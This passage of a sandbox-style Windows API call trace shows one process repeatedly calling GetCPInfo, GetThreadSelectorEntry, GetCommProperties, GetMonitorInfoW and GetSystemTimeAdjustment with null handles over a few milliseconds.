lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.092] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.092] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.092] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.092] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.092] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.093] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.093] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.093] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.093] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.093] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.093] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.093] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.093] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.093] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.093] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.093] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.093] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.093] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.093] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.093] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.093] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.093] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.093] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.093] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.093] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.093] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.093] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.093] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.093] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.093] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.093] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.093] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.093] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.093] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.093] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.094] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.094] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.094] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.094] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.094] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.094] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.094] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.094] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.094] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.094] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.094] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.094] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.094] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.094] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.094] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.094] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.094] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.094] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.094] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.094] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.094] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.094] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.094] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.094] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.094] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.094] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.094] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.094] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.094] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.094] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.094] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.094] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.095] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.095] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.095] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.095] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.095] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.095] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.095] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.095] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.095] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.095] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.095] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.095] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.095] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.095] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.095] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.095] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.095] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.095] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.095] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.095] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.095] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.095] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.095] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.095] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.095] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.095] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.095] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.095] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.095] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.095] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.095] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.096] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.096] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.096] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.096] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.096] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.096] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.096] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.096] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.096] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.096] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.096] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.096] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.096] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.096] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.096] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.096] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.096] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.096] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.096] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.096] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.096] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.096] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.096] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.096] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.096] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.096] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.096] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.096] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.096] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.097] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.097] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.097] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.097] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.097] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.097] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.097] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.097] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.097] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.097] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.097] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.097] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.097] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.097] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.097] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.097] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.097] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.097] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.097] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.097] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.097] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.097] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.097] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.097] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.097] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.097] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.097] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.097] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.097] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.097] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.098] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.098] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.098] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.098] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.098] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.098] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.098] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.098] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.098] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.098] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.098] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.098] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.098] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.098] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.098] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.098] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.098] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.098] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.098] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.098] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.098] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.098] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.098] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.098] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.098] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, 